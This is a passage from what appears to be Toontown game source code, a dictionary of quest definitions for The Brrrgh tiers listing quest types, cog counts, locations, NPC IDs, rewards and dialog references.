Anywhere, 42, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5024: (BR_TIER, Start, (CogQuest, Anywhere, 44, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5025: (BR_TIER, Start, (CogQuest, Anywhere, 46, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5026: (BR_TIER, Start, (CogQuest, Anywhere, 48, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5027: (BR_TIER, Start, (CogQuest, Anywhere, 50, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5028: (BR_TIER, Start, (CogQuest, Anywhere, 52, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5029: (BR_TIER, Start, (CogQuest, Anywhere, 54, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5030: (BR_TIER, Start, (CogLevelQuest, Anywhere, 25, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5031: (BR_TIER, Start, (CogLevelQuest, Anywhere, 30, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5032: (BR_TIER, Start, (CogLevelQuest, Anywhere, 35, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5033: (BR_TIER, Start, (CogLevelQuest, Anywhere, 6, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5034: (BR_TIER, Start, (CogLevelQuest, Anywhere, 10, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5035: (BR_TIER, Start, (CogLevelQuest, Anywhere, 20, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5036: (BR_TIER, Start, (CogLevelQuest, Anywhere, 2, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5037: (BR_TIER, Start, (CogLevelQuest, Anywhere, 8, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5038: (BR_TIER, Start, (CogLevelQuest, Anywhere, 10, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5039: (BR_TIER, Start, (CogLevelQuest, Anywhere, 12, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5040: (BR_TIER, Start, (CogQuest, ToontownGlobals.TheBrrrgh, 75, Any), Any, ToonHQ, NA, 5041, DefaultDialog), 5041: (BR_TIER, Cont, (DeliverItemQuest, 1000), Any, 3008, 1000, NA, DefaultDialog), 5060: (BR_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 5, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5061: (BR_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 5, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5062: (BR_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 5, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5063: (BR_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 5, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5064: (BR_TIER, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5065: (BR_TIER, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5066: (BR_TIER, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5067: (BR_TIER, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5070: (BR_TIER, Start, (CogQuest, ToontownGlobals.SellbotHQ, 20, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5071: (BR_TIER, Start, (CogQuest, ToontownGlobals.SellbotHQ, 22, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5072: (BR_TIER, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 15, 4), Any, ToonHQ, Any, NA, DefaultDialog), 5073: (BR_TIER, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 10, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5074: (BR_TIER, Start, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 12, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5075: (BR_TIER, Start, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 8, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5076: (BR_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5077: (BR_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5078: (BR_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5079: (BR_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5080: (BR_TIER, Start, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 10), Any, ToonHQ, Any, NA, DefaultDialog), 5081: (BR_TIER, Start, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 5, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5082: (BR_TIER, Start, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 2, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5083: (BR_TIER, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5084: (BR_TIER, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5101: (BR_TIER + 1, Start, (CogQuest, ToontownGlobals.TheBrrrgh, 36, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5102: (BR_TIER + 1, Start, (CogQuest, ToontownGlobals.TheBrrrgh, 40, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5103: (BR_TIER + 1, Start, (CogQuest, ToontownGlobals.TheBrrrgh, 42, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5104: (BR_TIER + 1, Start, (CogQuest, Anywhere, 45, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5105: (BR_TIER + 1, Start, (CogQuest, Anywhere, 50, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5106: (BR_TIER + 1, Start, (CogQuest, Anywhere, 55, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5107: (BR_TIER + 1, Start, (CogQuest, Anywhere, 25, 'p'), Any, ToonHQ, Any, NA, DefaultDialog), 5108: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 5109: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 5110: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 5111: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'hh'), Any, ToonHQ, Any, NA, DefaultDialog), 5112: (BR_TIER + 1, Start, (CogQuest, Anywhere, 25, 'cn'), Any, ToonHQ, Any, NA, DefaultDialog), 5113: (BR_TIER + 1, Start, (CogQuest, Anywhere, 25, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 5114: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 5115: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 5116: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 5117: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'tf'), Any, ToonHQ, Any, NA, DefaultDialog), 5118: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'sw'), Any, ToonHQ, Any, NA, DefaultDialog), 5119: (BR_TIER + 1, Start, (CogQuest, Anywhere, 25, 'pp'), Any, ToonHQ, Any, NA, DefaultDialog), 5120: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 5121: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 5122: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 5123: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'mb'), Any, ToonHQ, Any, NA, DefaultDialog), 5124: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'mdm'), Any, ToonHQ, Any, NA, DefaultDialog), 5125: (BR_TIER + 1, Start, (CogQuest, Anywhere, 25, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 5126: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 5127: (BR_TIER + 1, Start, (CogQuest, Anywhere, 20, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 5128: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 5129: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 5130: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'txm'), Any, ToonHQ, Any, NA, DefaultDialog), 5131: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 25, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5132: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 30, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5133: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 35, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5134: (BR_TIER + 1, Start, (CogQuest, Anywhere, 15, 'mg'), Any, ToonHQ, Any, NA, DefaultDialog), 5135: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 10, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5136: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 15, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5137: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 12, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5138: (BR_TIER + 1, Start, (CogLevelQuest, Anywhere, 8, 9), Any, ToonHQ, Any, NA, DefaultDialog), 5139: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 32, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 5140: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 32, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 5141: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 32, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 5142: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 32, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 5175: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 32, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 5143: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 40, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 5144: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 40, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 5145: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 40, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 5146: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 40, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 5176: (BR_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.TheBrrrgh, 40, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 5147: (BR_TIER + 1, Start, (CogTrackQuest, Anywhere, 45, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 5148: (BR_TIER + 1, Start, (CogTrackQuest, Anywhere, 45, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 5149: (BR_TIER + 1, Start, (CogTrackQuest, Anywhere, 45, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 5150: (BR_TIER + 1, Start, (CogTrackQuest, Anywhere, 45, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 5177: (BR_TIER + 1, Start, (CogTrackQuest, Anywhere, 45, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 5151: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 8, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 5152: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 2, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 5153: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 5, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 5154: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 6, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 5155: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 'm', 4), Any, ToonHQ, Any, NA, DefaultDialog), 5156: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 's', 4), Any, ToonHQ, Any, NA, DefaultDialog), 5157: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 'c', 4), Any, ToonHQ, Any, NA, DefaultDialog), 5158: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 'l', 4), Any, ToonHQ, Any, NA, DefaultDialog), 5178: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 1, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5160: (BR_TIER + 1, Start, (CogQuest, ToontownGlobals.SellbotHQ, 22, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5161: (BR_TIER + 1, Start, (CogQuest, ToontownGlobals.SellbotHQ, 25, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5162: (BR_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 16, 4), Any, ToonHQ, Any, NA, DefaultDialog), 5163: (BR_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 12, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5164: (BR_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 14, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5165: (BR_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 10, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5166: (BR_TIER + 1, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5167: (BR_TIER + 1, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5168: (BR_TIER + 1, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5169: (BR_TIER + 1, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5170: (BR_TIER + 1, Start, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 12), Any, ToonHQ, Any, NA, DefaultDialog), 5171: (BR_TIER + 1, Start, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 6, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5172: (BR_TIER + 1, Start, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 3, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5173: (BR_TIER + 1, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5174: (BR_TIER + 1, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5202: (BR_TIER + 1, Start, (VisitQuest,), Any, 3211, NA, 5203, TTLocalizer.QuestDialogDict[5202]), 5203: (BR_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.TheBrrrgh, 15, 8), 3211, Same, 204, NA, TTLocalizer.QuestDialogDict[5203]), 5210: (BR_TIER + 1, Start, (VisitQuest,), Any, 3202, NA, 5211, TTLocalizer.QuestDialogDict[5210]), 5211: (BR_TIER + 1, Start, (RecoverItemQuest, 3200, 15, 40, Easy, Any), 3202, Same, NA, (5264, 5265), TTLocalizer.QuestDialogDict[5211]), 5264: (BR_TIER + 1, Cont, (RecoverItemQuest, 3100, 1, 41, Hard, Any), 3202, Same, 704, NA, TTLocalizer.QuestDialogDict[5264]), 5265: (BR_TIER + 1, Cont, (RecoverItemQuest, 3300, 1, 41, Hard, Any), 3206, Same, 704, NA, TTLocalizer.QuestDialogDict[5265]), 5225: (BR_TIER + 1, Start, (VisitQuest,), Any, 3329, NA, 5226, TTLocalizer.QuestDialogDict[5225]), 5226: (BR_TIER + 1, Start, (CogQuest, 3300, 10, 'ac'), 3329, Same, NA, 5227, TTLocalizer.QuestDialogDict[5226]), 5227: (BR_TIER + 1, Cont, (VisitQuest,), Same, 3201, NA, 5228, TTLocalizer.QuestDialogDict[5227]), 5228: (BR_TIER + 1, Cont, (BuildingQuest, 3200, 4, 's', 3), 3201, Same, NA, 5229, TTLocalizer.QuestDialogDict[5228]), 5229: (BR_TIER + 1, Cont, (DeliverItemQuest, 45), Same, 3329, NA, 5230, TTLocalizer.QuestDialogDict[5229]), 5230: (BR_TIER + 1, Cont, (VisitQuest,), 3329, 3109, NA, 5231, TTLocalizer.QuestDialogDict[5230]), 5231: (BR_TIER + 1, Cont, (CogQuest, 3100, 10, 'hh'), 3109, Same, NA, 5232, TTLocalizer.QuestDialogDict[5231]), 5232: (BR_TIER + 1, Cont, (DeliverItemQuest, 46), Same, 3329, 304, NA, TTLocalizer.QuestDialogDict[5232]), 5243: (BR_TIER + 1, Start, (VisitQuest,), Any, 3324, NA, 5244, TTLocalizer.QuestDialogDict[5243]), 5244: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 3, 'g', 1), 3324, Same, 101, NA, TTLocalizer.QuestDialogDict[5244]), 5251: (BR_TIER + 1, Start, (VisitQuest,), Any, 3107, NA, 5252, TTLocalizer.QuestDialogDict[5251]), 5252: (BR_TIER + 1, Start, (RecoverItemQuest, ToontownGlobals.TheBrrrgh, 1, 42, Hard, 'g', 'track'), 3134, Same, NA, (5253, 5273, 5274, 5275), TTLocalizer.QuestDialogDict[5252]), 5253: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 29, VeryHard, 'sw'), Same, Same, NA, (5254, 5282, 5283, 5284), TTLocalizer.QuestDialogDict[5253]), 5273: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 29, VeryHard, 'mdm'), Same, Same, NA, (5254, 5282, 5283, 5284), TTLocalizer.QuestDialogDict[5273]), 5274: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 29, VeryHard, 'txm'), Same, Same, NA, (5254, 5282, 5283, 5284), TTLocalizer.QuestDialogDict[5274]), 5275: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 29, Hard, 'mg'), Same, Same, NA, (5254, 5282, 5283, 5284), TTLocalizer.QuestDialogDict[5275]), 5254: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 43, Hard, 'm'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[5254]), 5282: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 43, Hard, 'cr'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[5282]), 5283: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 43, Hard, 'ls'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[5283]), 5284: (BR_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 1, 43, Hard, 'le'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[5284]), 5255: (BR_TIER + 1, Start, (VisitQuest,), Any, 3308, NA, 5256, TTLocalizer.QuestDialogDict[5255]), 5256: (BR_TIER + 1, Start, (CogTrackQuest, 3300, 17, 'l'), 3308, Same, NA, 5276, TTLocalizer.QuestDialogDict[5256]), 5276: (BR_TIER + 1, Cont, (BuildingQuest, 3300, 1, 'l', 1), Same, Same, 101, NA, TTLocalizer.QuestDialogDict[5276]), 5257: (BR_TIER + 1, Start, (VisitQuest,), Any, 3204, NA, 5277, TTLocalizer.QuestDialogDict[5257]), 5277: (BR_TIER + 1, Start, (RecoverItemQuest, Anywhere, 1, 39, Medium, 'bfh'), 3204, Same, 100, NA, TTLocalizer.QuestDialogDict[5277]), 5301: (BR_TIER + 1, Start, (VisitQuest,), Any, 3133, NA, 5302, TTLocalizer.QuestDialogDict[5301]), 5302: (BR_TIER + 1, Start, (RecoverItemQuest, Anywhere, 1, 44, VeryHard, 'ls'), 3133, Same, 100, NA, TTLocalizer.QuestDialogDict[5302]), 5313: (BR_TIER + 1, Start, (VisitQuest,), Any, 3112, NA, 5314, TTLocalizer.QuestDialogDict[5313]), 5314: (BR_TIER + 1, Start, (BuildingQuest, Anywhere, 1, Any, 5), 3112, Same, 808, NA, TTLocalizer.QuestDialogDict[5314]), 5290: (BR_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 12, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5291: (BR_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 12, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5292: (BR_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 12, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5293: (BR_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 12, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5294: (BR_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5295: (BR_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5296: (BR_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5297: (BR_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5500: (BR_TIER + 1, Start, (CogQuest, ToontownGlobals.TheBrrrgh, 75, Any), Any, ToonHQ, NA, 5501, DefaultDialog), 5501: (BR_TIER + 1, Cont, (DeliverItemQuest, 1000), Any, 3008, 1000, NA, DefaultDialog), 903: (BR_TIER + 2, Start, (VisitQuest,), Any, 3112, NA, 5234, TTLocalizer.QuestDialogDict[903]), 5234: (BR_TIER + 2, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 3), 3112, Same, NA, (5235, 5236), TTLocalizer.QuestDialogDict[5234]), 5235: (BR_TIER + 2, Cont, (CogQuest, Anywhere, 10, 'tbc'), Same, Same, NA, 5237, TTLocalizer.QuestDialogDict[5235]), 5236: (BR_TIER + 2, Cont, (CogQuest, Anywhere, 10, 'bw'), Same, Same, NA, 5237, TTLocalizer.QuestDialogDict[5236]), 5237: (BR_TIER + 2, Cont, (CogLevelQuest, Anywhere, 20, 8), Same, Same, NA, 5238, TTLocalizer.QuestDialogDict[5237]), 5238: (BR_TIER + 2, Cont, (BuildingQuest, Anywhere, 5, Any, 5), Same, Same, 900, NA, TTLocalizer.QuestDialogDict[5238]), 5320: (BR_TIER + 2, Start, (CogQuest, Anywhere, 36, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5321: (BR_TIER + 2, Start, (CogQuest, Anywhere, 38, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5322: (BR_TIER + 2, Start, (CogQuest, Anywhere, 40, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5323: (BR_TIER + 2, Start, (CogQuest, Anywhere, 42, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5324: (BR_TIER + 2, Start, (CogQuest, Anywhere, 44, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5325: (BR_TIER + 2, Start, (CogQuest, Anywhere, 46, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5326: (BR_TIER + 2, Start, (CogQuest, Anywhere, 48, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5327: (BR_TIER + 2, Start, (CogQuest, Anywhere, 53, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5328: (BR_TIER + 2, Start, (CogQuest, Anywhere, 52, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5329: (BR_TIER + 2, Start, (CogQuest, Anywhere, 54, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5330: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 25, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5331: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 30, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5332: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 35, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5333: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 6, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5334: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 10, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5335: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 20, 7), Any, ToonHQ, Any, NA, DefaultDialog), 5336: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 2, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5337: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 8, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5338: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 10, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5339: (BR_TIER + 2, Start, (CogLevelQuest, Anywhere, 12, 8), Any, ToonHQ, Any, NA, DefaultDialog), 5340: (BR_TIER + 2, Start, (CogQuest, ToontownGlobals.TheBrrrgh, 75, Any), Any, ToonHQ, NA, 5341, DefaultDialog), 5341: (BR_TIER + 2, Cont, (DeliverItemQuest, 1000), Any, 3008, 1000, NA, DefaultDialog), 5360: (BR_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 20, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5361: (BR_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 20, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5362: (BR_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 20, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5363: (BR_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 20, Any, NEWBIE_HP), Any, ToonHQ, 606, NA, DefaultDialog), 5364: (BR_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5365: (BR_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5366: (BR_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5367: (BR_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 1, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 5370: (BR_TIER + 2, Start, (CogQuest, ToontownGlobals.SellbotHQ, 22, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5371: (BR_TIER + 2, Start, (CogQuest, ToontownGlobals.SellbotHQ, 25, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5372: (BR_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 16, 4), Any, ToonHQ, Any, NA, DefaultDialog), 5373: (BR_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 12, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5374: (BR_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 14, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5375: (BR_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 10, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5376: (BR_TIER + 2, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5377: (BR_TIER + 2, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5378: (BR_TIER + 2, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5379: (BR_TIER + 2, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 5380: (BR_TIER + 2, Start, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 12), Any, ToonHQ, Any, NA, DefaultDialog), 5381: (BR_TIER + 2, Start, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 6, 5), Any, ToonHQ, Any, NA, DefaultDialog), 5382: (BR_TIER + 2, Start, (SkelecogLevelQuest, 